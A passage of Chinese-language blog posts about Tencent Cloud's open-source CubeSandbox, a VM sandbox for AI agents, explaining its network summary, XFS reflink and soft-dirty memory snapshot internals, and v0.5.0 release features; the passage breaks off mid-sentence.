透明代理，当前实现了基本的请求过滤/凭证托管/访问审计的能力，如果需要更深入的检测处理或其它能力，可以修改或新增 lua 脚本轻松扩展，具体可以参考社区仓库文档：<https://github.com/TencentCloud/CubeSandbox/blob/master/docs/zh/guide/security-proxy.md> ## 6. 总结 CubeSandbox 网络体系通过 **"eBPF 内核态 + OpenResty 用户态"** 的组合实现了高性能的网络转发，同时通过资源分配本地化、沙箱配置归一化、资源池化等技术实现了极致的沙箱创建速度，在 AI Agent 安全沙箱这一新兴场景中实现了多项技术创新： | 创新点 | 传统方案 | CubeSandbox 方案 | 优势 | |---|---|---|---| | **网络隔离** | Linux Bridge + iptables | 点对点 TAP + eBPF | 零广播开销、内核态强制 | | **策略执行** | iptables 规则链 | LPM Trie + eBPF | O(1) 查询、per-sandbox 隔离 | | **域名过滤** | 应用层代理 | 内核态 ebpf | 高性能转发 | | **HTTPS 检查** | 手动配置证书 | 动态证书生成（ECDSA P-256） | 零预配置、自动管理 | | **凭证管理** | 环境变量/配置文件 | 代理层注入 + 多道安全检查 | Agent 沙箱不接触凭证 | | **审计日志** | 文本格式、需解析 | JSONL 结构化 + 自动脱敏 | 合规友好、可直接分析 | 欢迎关注 CubeSandbox 项目：<https://github.com/TencentCloud/CubeSandbox> --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive.md description: >- 磁盘快照秒回、内存快照只写少量页、克隆零拷贝——这三个看似魔法的现象背后，是 XFS reflink、/proc/pagemap 匿名页检测与 soft-dirty bit 三套内核机制在协作。本文层层拆解 v0.3.0 快照 / 克隆 / 回滚的底层原理。 --- # 几十 GiB 快照秒回、克隆"零拷贝"：Cube 快照克隆回滚技术原理深层揭秘 如果你在一台普通 Linux 服务器上跑过 Cube Sandbox v0.3.0，可能注意到几个反直觉的现象：磁盘快照"秒回"：对一个文件系统几十 GiB 的沙箱发起快照，命令几乎瞬间返回，磁盘没有发生数 GiB 的写入。内存快照只写"少量"页：一个跑着大模型推理、占着几十 GiB guest RAM 的沙箱，频繁 checkpoint 的转储量明显小于 guest 实际占用的内存——快照不再是把整块 RAM 重新落盘一遍。克隆"零拷贝"：对一个运行中的沙箱一次派生 10 份独立副本，磁盘空间几乎没增加，10 份副本却各自能在自己的内存和文件系统里写入而互不干扰。 这些"看起来像魔法"的现象，背后其实由三个互相咬合的底层机制共同支撑。本文从这三个谜题切入，一层一层揭开 v0.3.0 版本中快照 / 克隆 / 回滚三项核心能力的底层原理。 ## 引言：三个让人意外的"现象" 如果你在一台普通的 Linux 服务器上跑过 Cube Sandbox v0.3.0，可能注意到几个反直觉的现象： * **磁盘快照"秒回"**：对一个文件系统几十 GiB 的沙箱发起快照，命令几乎瞬间返回，磁盘没有发生数 GiB 的写入。 * **内存快照只写"少量"页**：一个跑着大模型推理、占着几十 GiB guest RAM 的沙箱，频繁 checkpoint 的转储量明显小于 guest 实际占用的内存——快照不再是把整块 RAM 重新落盘一遍。 * **克隆"零拷贝"**：对一个运行中的沙箱一次派生 10 份独立副本，磁盘空间几乎没增加，10 份副本却各自能在自己的内存和文件系统里写入而互不干扰。 这些"看起来像魔法"的现象，背后其实由三个互相咬合的底层机制共同支撑。本文从这三个谜题切入，一层一层揭开 v0.3.0 快照 / 克隆 / 回滚能力的底层原理。 ## 一、揭秘的总入口：三个谜题与五层架构 整个快照 / 克隆 / 回滚体系的复杂度来自一个事实——**VM 状态 = 磁盘 + 内存**，二者必须保持一致地被捕获、被还原、被复制。Cube Sandbox 把它拆成两个独立又协作的子系统： * **磁盘子系统**：基于 XFS reflink 的文件级 CoW 引擎。 * **内存子系统**：在传统 hypervisor 快照框架之上引入 pagemap\_anon 与 soft-dirty 真增量。 它们各自跨越五层调用： ![五层调用架构图](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/01_architecture.png) 读完接下来三章，引言里的三个谜题就会变成三个清晰的内核机制： | 谜题 | 核心机制 | | --- | --- | | 磁盘"秒回" | XFS Reflink + FICLONE ioctl | | 内存"少写" | /proc/self/pagemap + soft-dirty bit55 | | 克隆"零拷贝" | 把 clone(n) 拆成 snapshot + n 次基于快照的 create | ## 二、谜题一：磁盘快照为什么"秒回" ### 2.1 表象 对一个运行中的沙箱打快照时，磁盘在整个过程动作的本质是：一次 ioctl。 核心 ioctl：FICLONE，向目标文件发起源文件的 copy-on-write 克隆。它具有以下特性： | 维度 | CubeCow Reflink | | --- | --- | | 工作层次 | 文件系统层 | | 时间复杂度 | O(1)（单次 ioctl） | | 持久化方式 | 文件系统本身即 source of truth，无独立 ledger | | 崩溃恢复 | 每次操作是单个 fs 事务，天然 crash-safe | | 内核依赖 | FICLONE ioctl，XFS -m reflink=1 | **内核层面只共享 extent 元数据，写入时才分裂数据块**——这就是"秒回"的真相。 ### 2.2 揭秘：XFS Reflink 内部到底做了什么 #### ① inode / Extent Map（BMBT）/ 物理块 三层结构 要理解 reflink，先得看 XFS 是怎么把"逻辑文件偏移"映射到"物理磁盘块"的： ![inode / BMBT / 物理块 三层结构](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/02_xfs_extent_structure.jpg) * **BMBT（Block Mapping B-Tree）** 是 XFS 中 inode 内嵌的 B+ 树，存储逻辑偏移到物理块的映射表（即 Extent Map）。 * 每条 Extent 记录格式：`(logical_offset, physical_block, length, shared_flag)`。 * `shared_flag` 置位表示该物理块被多个文件 inode 引用，写入时必须触发 CoW unshare。 #### ② FICLONE ioctl 执行路径（O(1) 元数据操作） FICLONE 之所以能在毫秒级完成，是因为它**只动元数据**： ![FICLONE ioctl 执行路径](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/03_ficlone_path.png) **Refcount B-Tree**（xfs\_rmap\_btree）：XFS 维护一棵全局 B-Tree，记录每个物理块的引用计数。FICLONE 后被共享的块的 refcount ≥ 2；refcount 降为 1 时该块重新成为独占状态，可被直接写入无需 CoW。 #### ③ 写入时 CoW Unshare 路径 那共享之后再写入会发生什么？答案是**写时分裂**： ![写入时 CoW Unshare 路径](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/04_cow_unshare_path.png) 写入只影响**源卷**的 Extent Map；**快照**的 BMBT 和物理块完全不变，实现了快照隔离。 ### 2.3 揭秘：CubeCow 在 reflink 之上额外做的事 裸 reflink 只解决"如何快"，不解决"如何管"。CubeCow 在引擎层叠加了三个工程化设计： #### ① 快照链扁平化（避免 snap-of-snap 链式追踪） 标准 reflink 支持"快照的快照"，但 CubeCow 把所有快照的 `origin_volume` 统一记录为**最终祖先卷**，快照文件也物理上放在祖先卷的目录下。 ![快照链扁平化：所有快照平级放在祖先卷目录](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/05_snapshot_chain_flattening.png) **扁平化的好处**： * 所有快照在文件系统视角是与主卷**平级的独立文件**——各自拥有独立的块映射，相互之间没有父子隶属关系，"血统"只是 CubeCow 内存索引里的一条逻辑信息。删除任意一个中间快照退化成对一个普通文件的 unlink：目录里去掉一个目录项，曾经共享的物理块由 XFS Refcount B-Tree 自动减一，其它快照完全不受影响。 * 目录结构与 `origin_volume` 一一对应，无需递归查找。 * 删除原卷主文件后，目录因快照文件存在而保留；最后一个快照删除时目录自动回收。 #### ② 文件系统即 Source of Truth（无 on-disk ledger） **所有元数据均可从目录结构重建**： * 卷列表 = `readdir(volumes/)` * 快照列表 = `readdir(volumes/<vol>/)` 去掉主文件 * 大小 = `stat`，时间戳 = `mtime` 引擎启动时 `scan_and_rebuild_index()` 扫盘重建索引，按以下规则处理崩溃残留： | 磁盘状态 | 处理方式 | | --- | --- | | `<vol>/<vol>` 主文件存在 | 注册为 Volume | | 目录存在但主文件缺失且无子文件 | 删除空目录（孤儿） | | 目录存在但主文件缺失且有子文件 | 警告，恢复子快照但不注册卷 | | 零字节快照文件 | 删除（崩溃时 FICLONE 未完成） | | 重名冲突 | 警告并跳过 | #### ③ 内存命名空间扁平化 ReflinkEngine 维护一个 `RwLock<HashMap<String, NameKind>>` 作为全局命名空间，卷名与快照名共享同一全局命名空间，写锁下原子预占防止并发命名冲突。这意味着任何一次新建卷或新建快照都不需要做"先查血统再确认无重名"的递归校验，直接一次锁内查重即可。 ### 2.4 揭秘小结 ![秒回的全部秘密：抢名 + 一次 FICLONE + 落盘目录项](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/06_snapshot_summary.png) 一次快照在引擎层只有三类不可省略的动作：**抢名 -> 一次 FICLONE -> 落盘目录项**。三者都是 O(1) 量级，全部不涉及数据块拷贝——这就是"秒回"的全部秘密。 ## 三、谜题二：内存快照如何只写"少量"页 ### 3.1 表象与挑战 VM 内存动辄几十 GiB，如果每次快照都把整块 guest RAM 写盘，IO 放大会让"频繁 checkpoint"完全不可用。v0.3.0 的内存快照同时引入了**两条优化路径**，配合磁盘 reflink，把稳态下的内存写入量压到最小。性能数据可参考：CubeSandbox v0.3.0：让 AI Agent 拥有"时光机"和"分身术"。 ### 3.2 三种模式的定义 ![三种内存快照模式](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/07_memory_snapshot_modes.png) Cube Sandbox 这里针对内存快照有三种模式，对应三种"我到底要把哪些页写到镜像里"的策略： | 模式 | 写入对象 | 适用场景 | | --- | --- | --- | | Full | 完整 guest 内存镜像，所有页都写 | 第一次快照、强一致性归档 | | Incremental | 仅 CoW 匿名页（即 guest 真正"分配过、有内容"的页） | 大多数稳态快照 | | SoftDirty | 真增量：仅自上次复位以来被写过的匿名页 | 高频 checkpoint，内核需要 CONFIG\_MEM\_SOFT\_DIRTY | ### 3.3 揭秘：Incremental —— "匿名页"恰好就是"自启动以来写过的页" #### 关键前提：v0.3.0 的沙箱是"基于快照启动"的 理解 Incremental 的精妙之处必须先认清一个前提：在 Cube Sandbox 里，**几乎所有的 VM 都是从一份内存快照恢复出来的**——首次创建沙箱时从模板的内存镜像启动；克隆出来的副本从临时快照启动；回滚之后的 VM 从目标快照启动。"冷启动到完全零状态"的场景在生产路径上几乎不存在。 VMM 在恢复时**不会**把整份内存镜像 `read()` 到一段匿名 mmap 里——那样既慢又浪费。它的做法是用 `mmap(MAP_PRIVATE, fd=memory_image)` 把内存镜像文件直接映射到 guest RAM 对应的虚拟地址空间。这一步只建立 VMA，不读任何数据；guest 跑起来后真正访问到哪一页，内核才按需把那一页从 page cache 填进来。 #### MAP\_PRIVATE 的二分语义：文件页 vs 匿名页 ![MAP\_PRIVATE 二分语义](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/08_map_private_semantics.png) MAP\_PRIVATE 的核心语义是**copy-on-write of a file**： | guest 对该页的行为 | 内核侧的页类型 | 物理占用 | | --- | --- | --- | | 从未访问 | 不存在 PTE，按需缺页 | 0 | | 只读访问过 | 文件页（共享 page cache，PTE 只读指向 page cache 帧） | 与同进程内其它快照实例共享 | | 写过至少一次 | 匿名页（CoW unshare 出的进程私有页） | 该 VM 进程独占 | 注意第二行：guest 只读访问过的页**仍然是文件页**——它们物理上停留在内存镜像文件的 page cache 里，与从同一份镜像启动的其它 VM 共享，不计入本进程的匿名页统计。只有当 guest 第一次往某页写入时，内核才会触发 CoW，把这一页从文件页"分裂"为本进程独占的匿名页。 这就给出了一个**白送的等价关系**： > **本 VM 进程的匿名页集合 ≡ 自该 VM 从快照启动以来真正写过的页集合** 这个等价关系不需要任何额外跟踪、没有任何运行时开销——它就是 MAP\_PRIVATE 语义的自然产物。Linux 内核在每次写时缺页里早已为我们维护好了它。 #### Incremental 怎么读出这个集合 利用上面的等价，"哪些页需要写入快照"被简化成"哪些页是匿名页"。Linux 在 `/proc/<pid>/pagemap` 里以每页 8 字节暴露每条虚拟页的状态，关键位有： | 位 | 含义 | | --- | --- | | bit 63 | 该 VPN 是否映射了物理页帧（present） | | bit 62 | 是否被换出到 swap | | bit 61 | 是否为匿名页（即被 CoW 分裂过的私有页） | | bit 0–54 | 物理页帧号 PFN（present 时） | Incremental 的过滤条件正是**present ∧ anonymous**——直接对应"自启动以来真正写入过的页"。每页只需 8 字节元数据判断，**无需读取页内容**。 ![Incremental 判定流程](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/09_incremental_detection.png) #### 完整性如何保证 Incremental 写出去的快照文件**保留完整的 guest 物理地址布局**——那些没写入的偏移**继承上一份快照**的内容。这要求： * **目标文件已存在**且内容是 reflink-clone 自上一份快照——未被本次写入覆盖的偏移自动等于上一份快照对应位置。 * 文件页那部分（guest 只读访问过、或从未访问的页）在新快照文件里和上一份快照一字不差，因为它们本来就是同一份内存镜像的内容。 这就是 3.1 里说的"磁盘子系统反过来支撑内存子系统"——没有 reflink-clone 提供的"廉价基线文件"，Incremental 就没法用"只写一部分"得到"完整镜像"。 #### Incremental 解决了什么、还差什么 Incremental 用零运行时开销实现了一次性优化：**把"全部 guest RAM"收敛到"自启动以来写过的页"**。对短生命周期的沙箱（典型场景：一次性任务执行、短时克隆体）这已经足够。 但对**长期运行**的沙箱，这个集合只增不减——guest 跑得越久，被写过的页就越多，"自启动以来写过的页"会逐渐逼近"所有已分配页"。这就是 SoftDirty 要解决的问题。 ### 3.4 揭秘：SoftDirty —— 用 bit55 抓"真正写过的页" #### 动机：为什么 Incremental 不够 考虑一个长期运行的沙箱（比如一台跑着推理服务的 VM），它的生命周期里被多次定期 checkpoint： | 时刻 | guest 累计写过的页 | 该次 Incremental 快照写入量 | | --- | --- | --- | | 启动后 t₁ | 200 MiB | 200 MiB | | t₁ 后再跑 1 分钟，t₂ | 1 GiB | 1 GiB | | t₂ 后再跑 10 分钟，t₃ | 5 GiB | 5 GiB | | t₃ 后再跑 1 小时，t₄ | 15 GiB | 15 GiB | 虽然两次快照之间真正发生变化的可能只有几十 MiB，但 Incremental**每次都把"自启动以来全部写过的页"重新写一遍**。匿名页集合是单调递增的，转储量随运行时间线性增长，最终逼近 Full 模式。 要让"频繁 checkpoint"在长跑沙箱上仍然可用，必须能识别"上次快照之后才被写过的页"。这就是 SoftDirty 要补上的一块。 #### soft-dirty bit 的内核语义 Linux 在每个 PTE 里预留了 soft-dirty bit（在 `/proc/<pid>/pagemap` 里以 bit55 暴露给用户态），它的状态机非常简单： | 触发动作 | 效果 | | --- | --- | | 进程往一页写入 | 该页 PTE 的 soft-dirty 被内核置位 | | 用户态写 `/proc/<pid>/clear_refs`（值 4） | 内核遍历进程所有 PTE，清掉所有 soft-dirty 标记，并把对应 PTE 改成只读 | | 复位之后再次写入 | 触发写保护缺页 -> 内核还原可写 + 重新置位 soft-dirty | 复位之后的 bit55=1 就精确等价于"自上次复位以来这一页有写过"。 #### 过滤条件：在匿名页之上加一层时间窗 SoftDirty 模式不是抛弃 Incremental，而是**在它的输出集合上再叠加一层 soft-dirty 过滤**： ``` 要写入快照的页 = { p | present(p) ∧ anonymous(p) ∧ soft_dirty(p) } └────── Incremental 集合 ──────┘ └ 增量过滤 ┘ ``` anonymous 把范围收敛到"自启动以来写过的页"（参考 3.3）；soft\_dirty 再把范围收敛到"自上次复位以来写过的页"。前者是**累积窗**，后者是**滑动窗**——两者交集就是"既属于该 VM 私有内存、又是这次快照真正需要刷新"的页。 落到代码视角就是同一段 pagemap 扫描里多读一位、多比一次按位与，**几乎无额外成本**。也正因为这一项是叠加而非替换，SoftDirty 在内核不支持时可以"静默降级"为 Incremental——丢掉的只是最后那个 ∧ soft\_dirty 项，正确性不受影响。 ![SoftDirty 时序：累积窗 + 滑动窗](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/10_softdirty_timeline.png) #### 首次快照：为什么"自动"等价于 Incremental soft-dirty 的初始状态是关键：内核在为页表建立 PTE 的瞬间会把**soft-dirty 默认置 1**——内核语义本身就是"如果这页存在 PTE 但你从没复位过，那就当它是脏的"。 所以第一次拍 SoftDirty 快照时，过滤条件**自动退化**为 Incremental——把所有匿名页都写一遍，正好就是这次快照需要的完整基线。然后我们才在写完之后调用 clear\_refs 把 soft-dirty 全部清零，给"下一次稳态快照"建立基准。 这是个很优雅的性质：**SoftDirty 的首次快照不需要任何特殊分支**，过滤公式 anonymous ∧ soft\_dirty 在两种状态下都是正确的——首次时 dirty 全 1 退化成 Incremental，之后每次都拿到真增量。 #### 一致性的两条铁律 要让上面这套机制正确，必须保证两点： * **复位与写入不能交错**。如果在"复位 -> 拍下一份快照"之间允许 guest 自由写入，会出现"我写了但 bit 已被清"的窗口。v0.3.0 的策略是：每次打 SoftDirty 快照时 guest 已被 pause，在 pause 状态下完成"读 pagemap -> 写出快照 -> 复位 bit -> resume"。 * **复位必须发生在"快照之后"，而不是"快照之前"**。本次快照消费的是**上一次复位以来**累计的脏标记；本次写完后再复位，下一次快照才有正确的基准。首次快照同样遵循这条铁律——只不过它消费的是"内核给的初始全 1"，写完之后第一次 clear\_refs 才让真正的"增量计时"开始。 #### 副作用：复位的代价被合理摊销 clear\_refs 不是免费的——内核要做一次**全量页表项扫描**，把每个 PTE 改写为只读并清位。对多 GiB guest，这是数百毫秒级的开销，并且扫描期间 guest 后续的写入会引发额外的写保护缺页。 得益于上面"首次快照即 Incremental"的性质，v0.3.0 不需要为了 SoftDirty 在 VM 启动 / 恢复时提前付一次复位代价（那会让 VM ready 之后第一次进入用户空间时卡住几百毫秒）；而是把第一次 clear\_refs 自然地推迟到首次快照的"写出之后"——此时用户已经在等待快照命令返回，复位的代价摊在了用户预期会消耗时间的操作里，对体验是无感的。 #### Incremental vs SoftDirty 的取舍 | 维度 | Incremental | SoftDirty | | --- | --- | --- | | 内核要求 | /proc/pagemap（普遍可用） | 额外要求 CONFIG\_MEM\_SOFT\_DIRTY | | 过滤强度 | 已分配的匿名页 | 已分配 ∧ 真写过 的匿名页 | | 状态副作用 | 无（每次都现读 pagemap） | 有（需要复位 PTE，影响写保护缺页路径） | | 适合的频率 | 中低频快照、首次快照、降级兜底 | 高频 checkpoint | | 失败时行为 | 永远可用 | 自动降级到 Incremental | ### 3.5 外部内存卷支持 内存镜像可以写到独立存储介质（独立卷或独立路径），而不是和状态 JSON 同目录。这种模式对在不同存储池之间分担内存镜像的 I/O 压力很有帮助：内部模式倾向于"截断重建"以保证快照之间的独立性；外部卷模式倾向于"打开后原地写入"，从而让外部卷可以在多次快照之间被 reflink 复用。 ## 四、谜题三：克隆 N 份为何"零拷贝" ### 4.1 表象 对一个跑着的源沙箱一次派生 N 个克隆，磁盘空间几乎没增加，每个克隆都能独立读写。每个克隆都满足三性质： | 性质 | 含义 | | --- | --- | | 继承性 | 每个副本的初始状态与源沙箱在 clone 时刻完全一致 | | 隔离性 | 副本之间的写入互不可见，与源沙箱也互相隔离 | | 连续性 | 源沙箱在 clone() 返回后仍在运行，状态不受影响 | ### 4.2 揭秘：clone(n) 不是新原语，而是三个旧原语的组合 `clone(n)` 在协议层根本没有新增任何"克隆 RPC"，它在概念上等价于： ```python def clone(self, n=1, *, concurrency=1): snap = self.create_snapshot() # ① 一次源沙箱快照 try: new_sbs = [Sandbox.create(template=snap.snapshot_id) for _ in range(n)] # ② n 次基于快照的 create finally: Sandbox.delete_snapshot(snap.snapshot_id) # ③ best-effort 清理 return new_sbs ``` ### 4.3 揭秘：为什么"零拷贝"和"完全隔离"能同时成立 这是磁盘子系统和内存子系统两套机制叠加的结果： | 维度 | 共享什么 | 写入时怎么隔离 | | --- | --- | --- | | 磁盘 rootfs | 共享 XFS extent（refcount ≥ N+1） | XFS reflink CoW unshare | | guest 内存 | 共享 reflink-clone 的 memory-ranges 文件 + 物理页 | 进程私有匿名页 + 内核 CoW（fork 一样的语义） | 所以 clone(n=10) 之后磁盘几乎没增长——10 份 rootfs 共享同一批 XFS 物理块；内存镜像也共享同一批 extent。任意副本写入时由内核负责"分裂"，互不干扰。 ### 4.4 揭秘：并发 clone 的 fail-safe 语义 ```python clones = src.clone(n=10, concurrency=5) ``` 参数 concurrency=C 会把第一步快照与最后一步删除快照仍只各做一次，只有中间的 N 次基于快照创建沙箱被并行化。 **全有或全无契约**：任一子任务失败时，已成功创建的克隆会被自动销毁，临时快照会被删除。调用方拿到的要么是 N 个沙箱，要么是异常，**不留孤儿资源**。 ### 4.5 揭秘：源沙箱的连续性 派生临时快照时，VM 内部走的是 pause -> snapshot -> resume 三步，整个 pause 时长通常不到 100 毫秒。返回后源沙箱继续以原 PID、原内存映射运行——这正是"连续性"的来源。 ## 最终章：把三个机制串起来 —— Cubelet 的三层降级策略 ![CubeSandbox 快照端到端数据流 & 三层降级策略](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/11_degradation_strategy.png) 每一次提交快照时，节点端会决定两件事：内存模式选哪种 + reflink 基础卷指向哪一份历史。三层降级保证可用性：soft-dirty → pagemap\_anon → full 的自动降级链，确保任何异常（基础快照被删除、快照断链、内核不支持 soft-dirty）都不会让用户操作失败，而是静默升级为正确但略大的快照。 ## 写在最后 如果你正在构建需要代码执行、工具调用或多 Agent 协作的系统，欢迎了解和试用 Cube Sandbox。 如果觉得有帮助，欢迎点个 ⭐ Star，也欢迎提 Issue、PR 一起共建。你的每一个反馈都是项目持续演进的动力。 **Cube Sandbox 项目地址：https://github.com/TencentCloud/CubeSandbox** *** Cube Sandbox 是腾讯云开源的一款基于 RustVMM 与 KVM 构建的高性能、开箱即用的安全沙箱服务。它既支持单机部署，也能方便地扩展到多机集群。对外兼容 E2B SDK，可在 60ms 内创建具备完整服务能力的硬件隔离沙箱，并将内存开销控制在 5MB 以内。 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-07-03-cubesandbox-v0.5.0-release.md description: >- 如果说 Cube Sandbox v0.3.0 解决的是"快"（毫秒级的快照 / 克隆 / 回滚），v0.4.0 解决的是"治理"（L7 出站管控 + 可观测性 + 集群一致性），那么 v0.5.0 想解决的是——"稳、省、广"。v0.5.0 由 26 位贡献者合入 116 个 commits，带来四大核心特性：AutoPause/AutoResume 沙箱生命周期自动化、ARM64 全栈原生支持、腾讯云 Terraform 一键集群部署、网络安全性增强。 --- # Cube v0.5.0发布：自动暂停 · ARM 支持· 一键集群部署，把沙箱送进生产 如果说 Cube Sandbox v0.3.0 解决的是"快"（毫秒级的快照 / 克隆 / 回滚），v0.4.0 解决的是"治理"（L7 出站管控 + 可观测性 + 集群一致性），那么 v0.5.0 想解决的是——"稳、省、广"。 * **省**：Agent 沙箱大部分时间是在"等"，等用户输入、等回调、等下一轮 rollout。解决这些"空跑"占用沙箱的 CPU 和内存。 * \*\*广：\*\*AI 时代的算力基座正在从 x86 独大走向 x86 / ARM 双轨。解决沙箱能原生跑在 ARM 上。 * \*\*稳：\*\*解决用户从单机 Demo 到云上集群部署，提供一个生产环境一键部署的架构示例。 ## 一、AutoPause / AutoResume：让沙箱学会自己"睡觉" Agent 的世界里，沙箱大部分时间都在闲置：等用户下一条指令、等长任务回调、等 Agentic RL 的下一轮 rollout。在日均运行成千上万个沙箱的生产环境，这就是在给白白燃烧的服务器预算买单。 v0.5.0 版本中的第一个核心特性就是让沙箱学会自动暂停（AutoPause）与唤醒（AutoResume），且把这个做成了平台侧承担的、per-sandbox 的能力。在 SDK 侧，lifecycle 变成了 Sandbox.create 的标准参数，语义与 E2B 完全对齐： * 当沙箱闲置超时，控制面会自动将沙箱的运行状态（文件系统 + 内存）整体快照到磁盘，并瞬间关停底层的沙箱。此时，它在宿主机上占用的物理资源会被完全释放。 * 一旦有新的网络请求到达，数据面的 CubeProxy 会自动拦截，在几十毫秒内原地唤醒沙箱，无缝接管后续流量。 这套状态机的切换完全由平台自动调度。由于目前的暂停恢复还是单机行为，为了防止单机资源的过载，我们引入了一个节点级配置：`host.quota.paused_resource_release_ratio`（暂停资源按比例释放）。 * 如果设为 0，暂停不释放调度配额； * 如果设为 1，暂停资源的调度配额全部释放，节点调度密度直接拉满。 当节点上一大批沙箱同时被唤醒，单节点无法承载时，控制面会返回异常，并给出具体的配额数字。 当前，用户需要在可用性和高利用率之间做出权衡，进行合理的配置，后续我们会让恢复能力突破单机的界限，可以让沙箱的恢复在集群内自由漂移，最大化提高整集群的利用率，让自动暂停恢复真正做到生产级可用。 ## 二、Arm 原生支持，正式开启"双轨架构"时代 在 v0.5.0 中，Arm 工程团队与 Cube 项目团队展开了深度联合研发。从代码适配、运行环境、镜像构建到基础功能验证，Cube Sandbox 已经具备在 Arm64 平台上原生部署、编译、启动和运行典型沙箱工作负载的能力，项目状态也从早期可行性验证推进到了正式 Enablement 阶段。 为了在"Agent 原生指标"上拿到极致的结果，双方重点解决了 x86 绑定依赖、hypervisor 差异、Multi-Arch 镜像、Guest Kernel 启动路径和构建验证流程等关键问题，例如： **1. 消灭 x86 绑定与硬编码假设：** 清理了历史遗留的 x86 架构假设与构建依赖。 **2. 跨越 Hypervisor 的底层架构鸿沟** * **I/O 系统的架构跨越**：我们将 Guest 对 Host 的控制通知通道从原来的 **PIO 改写为了 MMIO**； * **引导路径重构**：x86 机器依靠轻量化 SeaBIOS 启动；针对 ARM 架构，我们改造了启动逻辑，现在可以正常使用 UEFI 固件开机； * **Seccomp 沙盒对齐**：针对 x86 与 ARM64 的系统调用号差异，重写了过滤规则。 这使得 Cube Sandbox 能够在 Arm 平台完成部署、编译和基本功能验证。更重要的是，双方将优化目标从传统 CPU benchmark 转向 Agent 场景真正关心的启动、Snapshot、Rollback、高并发和部署密度等指标，帮助用户获得更可用、更易用、更贴近生产需求的 Arm 原生沙箱能力。 **关于 Cube Sandbox Arm 版本更详细的信息，请持续关注 Cube 公众号下周发布专题报道。** ## 三、腾讯云 Terraform 集群化部署：从"能跑"到"能上生产" v0.5.0 带来了官方研发的腾讯云 Terraform 集群化 deployer。 你只需要一份 release bundle，执行 `create.sh` 作为唯一入口，剩下的事全部交给受管的 IaC 流程。它会为你自动规划和拉起： * **受管控制面**：在腾讯云 TKE（容器服务）上拉起 cubemaster、cube-api、cubeproxy（替代旧版的路由层）和 cube-webui 等组件。为了贴合不同的业务规模与成本预期，控制面副本采用了更科学的容灾设计： * **默认 POC 模式**：控制面组件默认配置为 1 副本，轻量无额外开销，方便快速验证； * **cubeproxy 默认保持单副本**：受限于现阶段的生命周期实现，多副本会影响自动暂停/恢复的判定可靠性。为保障自动休眠唤醒功能的绝对稳定，当前版本强烈建议将其保持为 1 副本，后续版本我们会将生命周期管理从 cubeproxy 解耦出来，cubeproxy 可以多副本高可用运行； * **cubemaster 结合 CFS 镜像共享**：如果需要对 cubemaster 做多副本容灾，只需一键开启腾讯云文件存储 CFS（共享存储）（`TENCENTCLOUD_USE_CFS=true`），多副本控制面即可通过 ReadWriteMany NFS 共享挂载同一个底层镜像库（`/data/CubeMaster/storage`），优雅实现多机无感灾备。 * **高可用中间件**：后端自动外接云数据库 MySQL 和云缓存 Redis，将元数据和状态持久化在受管云服务中，彻底告别单机容器挂载的隐患。 * **弹性计算节点**：在私有 VPC 内，可弹性配置一台或多台 CVM PVM 实例或裸金属实例，作为沙箱计算节点。 同时，`--mode upgrade`（在线升级流）在这一版正式合入一键安装器。它在检测到既有安装后，会自动执行三路 `.env` 配置文件合并——既能保留你的自定义修改，又能把新的默认配置平滑合入，并在升级前对磁盘空间、semver 兼容性和网络 CIDR 冲突进行 fail-fast 预检。 从 v0.5.0 开始，Cube 的升级和集群扩容，变成了一个可预测、可重入的标准动作。 ## 四、网络增强：入方向支持访问沙箱鉴权，出方向支持策略路由 Agent 沙箱的网络，必须做到入向极度安全，出向极度可控。v0.5.0 针对数据面网络通信提供了两项关键补丁： * **入向——Per-sandbox 流量访问令牌**：此前，只要沙箱网络打通，其入口流量近乎"裸奔"。现在，以 `network.allow_public_traffic=false` 创建的受限沙箱会分配到一个唯一的 `traffic_access_token`。CubeProxy 强制拦截任何未携带该令牌的入站请求，直接返回 403。 * **出向——支持策略路由**：此前，沙箱所有的出流量都会被转发至宿主机的主网卡出去，即使节点上有多张网卡配置了不同的路由或者各种隧道设备。新版本支持策略路由，流量通过一个虚拟网卡 `cube-router`，节点管理员可按需配置策略路由，无缝对接已有的网络基础设施，典型场景是宿主机内外网分离，以及通过隧道共享公网网关。 ## 五、其他重要更新 在 v0.5.0 版本中，除了以上核心特性外，还有其他几个值得一提的更新： * **纯 Go 原生 rootfs 导出**：用 Go 原生重写了 rootfs 导出路径（并发预取+流式提取+即时解压），使**峰值内存降低 39%、构建耗时缩短 16%**； * **修复高并发回滚死锁**：重构快照运行时绑定模型并引入分布式锁，在数据库层面消除了**并发回滚时的 MySQL 1213 死锁隐患**； * **保留镜像原始所有权**：修复了强制压缩（squash）uid/gid 为 root 的历史 Bug，**保留了镜像原始用户所有权，解决了 Chromium 等非 root 镜像无法启动的权限痛点**； * **沙箱创建时注入 envs**：支持 E2B 兼容的 SDK 在创建沙箱时注入 envs，对齐 E2B 规范。 ## Coming Soon…… 接下来 Cube 将向着更深处的云原生和数据解耦演进，带来几个比较重要的新功能： * **K8s 原生部署与调度**：我们将深度支持 Kubernetes，让 Agent 沙箱能够像普通 Pod 一样无缝融入任何标准 K8s 集群，享受云原生生态的完整治理与弹性。 * **持久化 Volume 支持**：将"数据"与"沙箱生命周期"解耦。沙箱实例可以随时暂停或销毁，但 Volume 可以跨会话持久保存并按需挂载，为 Agent 注入真正的"长期记忆"。 * **分布式跨机暂停恢复**：打破单机物理边界，实现\*\*"节点 A 暂停，节点 B 唤醒"\*\*的跨机状态漂移，最大化提高集群的资源利用率。 * **E2B 协议的完整对齐**：我们将持续补齐剩余的协议细节与企业级特性，确保用户能够一键、无缝地将生产工作流从 E2B 切换到 Cube。 以及更多新功能的挖掘、探索…… 从"单机隔离"到"弹性集群"，再到"无感漂移"，我们希望真正让 Cube 具备更丰富的走向企业级生产环境的能力。 如果你正在构建 Agent 工作流、Agentic RL 